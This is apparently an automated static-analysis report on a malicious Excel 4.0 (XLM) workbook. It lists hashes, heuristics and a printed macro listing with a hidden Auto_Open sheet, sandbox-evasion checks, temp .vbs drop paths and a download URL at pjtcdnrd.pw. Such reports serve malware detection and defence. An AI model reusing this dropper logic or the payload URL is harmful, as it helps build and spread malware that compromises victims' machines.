Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d2265354b11a8c1e…

MALICIOUS

Office (OLE)

138.0 KB Created: 2020-02-27 10:23:09 Authoring application: Microsoft Excel First seen: 2020-08-10
MD5: aa4afa529e616589d546cf475d5da5a8 SHA-1: ec87ad7a2e2a2db6437b651abfbd19048c011e33 SHA-256: d2265354b11a8c1ef6e3e5d5dcea25209232bad183e5c75cf9e64f352aba74d1
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical finding. The macros utilize dangerous formula APIs, including RUN, to execute commands. The embedded URL 'https://pjtcdnrd.pw/ckjbvkf732' is likely used to download and execute a secondary payload, indicating a downloader or droppper functionality.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://pjtcdnrd.pw/ckjbvkf732 In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 3835 bytes
SHA-256: 24f78702ebc4eaaf7bede48b57c0a0bbf9f9311172c869f00467c0e05e13a4fb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  9esOZOWNe
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  9esOZOWNe!A1 
' 0018     33 LABEL : Cell Value, String Constant - dfb3gss len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00Y\x00r\x00\x0e\x00\x0e\x00'
' 0018     29 LABEL : Cell Value, String Constant - rgq2g53 len=7 ptgRef3d  9esOZOWNe!I5 
' 0018     33 LABEL : Cell Value, String Constant - sfgnbsrgn46 len=7 ptgRef3d  9esOZOWNe!I7 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  9esOZOWNe,A1,"IF(GET.WORKSPACE(42),,CLOSE(TRUE))",""
'  9esOZOWNe,D1,"FORMULA( Sheet!O90, 9esOZOWNe!C1)",""
'  9esOZOWNe,A2,GET.WORKSPACE(13),""
'  9esOZOWNe,D2,"FORMULA( Sheet!O91, 9esOZOWNe!C2)",""
'  9esOZOWNe,A3,GET.WORKSPACE(14),""
'  9esOZOWNe,D3,"FORMULA( Sheet!O92, 9esOZOWNe!C3)",""
'  9esOZOWNe,A4,"IF(A2<770,CLOSE(FALSE),)",""
'  9esOZOWNe,D4,"FORMULA( Sheet!O93, 9esOZOWNe!C4)",""
'  9esOZOWNe,A5,"IF(A3<381,CLOSE(FALSE),)",""
'  9esOZOWNe,D5,"FORMULA( Sheet!O94, 9esOZOWNe!C5)",""
'  9esOZOWNe,I5,"IF(ISNUMBER(SEARCH("C", Sheet!O90)),GOTO(D1),ON.TIME(NOW()+"00:00:02","sfgnbsrgn46"))",""
'  9esOZOWNe,A6,"IF(GET.WORKSPACE(19),,CLOSE(TRUE))",""
'  9esOZOWNe,D6,"FORMULA( Sheet!O95, 9esOZOWNe!C6)",""
'  9esOZOWNe,I6,RETURN(),""
'  9esOZOWNe,A7,GET.WORKSPACE(26),""
'  9esOZOWNe,D7,"FORMULA( Sheet!O96, 9esOZOWNe!C7)",""
'  9esOZOWNe,I7,"IF(ISNUMBER(SEARCH("C", Sheet!O90)),GOTO(D1),ON.TIME(NOW()+"00:00:02","rgq2g53"))",""
'  9esOZOWNe,A8,"['"C:\\Users\\"&A7&"\\AppData\\Local\\Temp\\CVR"(1000,9999)', '*STACKERROR* not enough operands for operator: &&".tmp.cvr"']",""
'  9esOZOWNe,D8,"FORMULA( Sheet!O97, 9esOZOWNe!C8)",""
'  9esOZOWNe,I8,RETURN(),""
'  9esOZOWNe,A9,"['"C:\\Users\\"&A7&"\\AppData\\Local\\Temp\\wct"(100,999)', '*STACKERROR* not enough operands for operator: &&".vbs"']",""
'  9esOZOWNe,D9,"FORMULA( Sheet!O98, 9esOZOWNe!C9)",""
'  9esOZOWNe,A10,"['"C:\\Users\\"&A7&"\\AppData\\Local\\Temp\\wct"(1000,9999)', '*STACKERROR* not enough operands for operator: &&".vbs"']",""
'  9esOZOWNe,D10,"FORMULA( Sheet!O99, 9esOZOWNe!C10)",""
'  9esOZOWNe,A11,"IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),ON.TIME(NOW()+"00:00:02","rgq2g53"),CLOSE(TRUE))",""
'  9esOZOWNe,D11,"FORMULA( Sheet!O100, 9esOZOWNe!C11)",""
'  9esOZOWNe,A12,RETURN(),""
'  9esOZOWNe,D12,"FORMULA( Sheet!O101, 9esOZOWNe!C12)",""
'  9esOZOWNe,D13,"FORMULA( Sheet!O102, 9esOZOWNe!C13)",""
'  9esOZOWNe,D14,"FORMULA( Sheet!O103, 9esOZOWNe!C14)",""
'  9esOZOWNe,D15,"FORMULA( Sheet!O104, 9esOZOWNe!C15)",""
'  9esOZOWNe,D16,"FORMULA( Sheet!O105, 9esOZOWNe!C16)",""
'  9esOZOWNe,D17,"FORMULA( Sheet!O106, 9esOZOWNe!C17)",""
'  9esOZOWNe,D18,"FORMULA( Sheet!O107, 9esOZOWNe!C18)",""
'  9esOZOWNe,D19,"FORMULA( Sheet!O108, 9esOZOWNe!C19)",""
'  9esOZOWNe,D20,"FORMULA( Sheet!O109, 9esOZOWNe!C20)",""
'  9esOZOWNe,D21,"FORMULA( Sheet!O110, 9esOZOWNe!C21)",""
'  9esOZOWNe,D22,"FORMULA( Sheet!O111, 9esOZOWNe!C22)",""
'  9esOZOWNe,D23,"FORMULA( Sheet!O112, 9esOZOWNe!C23)",""
'  9esOZOWNe,D24,"FORMULA( Sheet!O113, 9esOZOWNe!C24)",""
'  9esOZOWNe,D25,"FORMULA( Sheet!O114, 9esOZOWNe!C25)",""
'  9esOZOWNe,D26,"FORMULA( Sheet!O115, 9esOZOWNe!C26)",""
'  9esOZOWNe,D27,GOTO(C1),""
'  9esOZOWNe,J27,"WORKBOOK.HIDE("9esOZOWNeW",TRUE)",""
'  9esOZOWNe,D28,RETURN(),""
' 0876    131 DCONN : Data Connection
'  ASCII:
'   Connection
'   https://pjtcdnrd.pw/ckjbvkf732
'   Sheet1!dfb3gss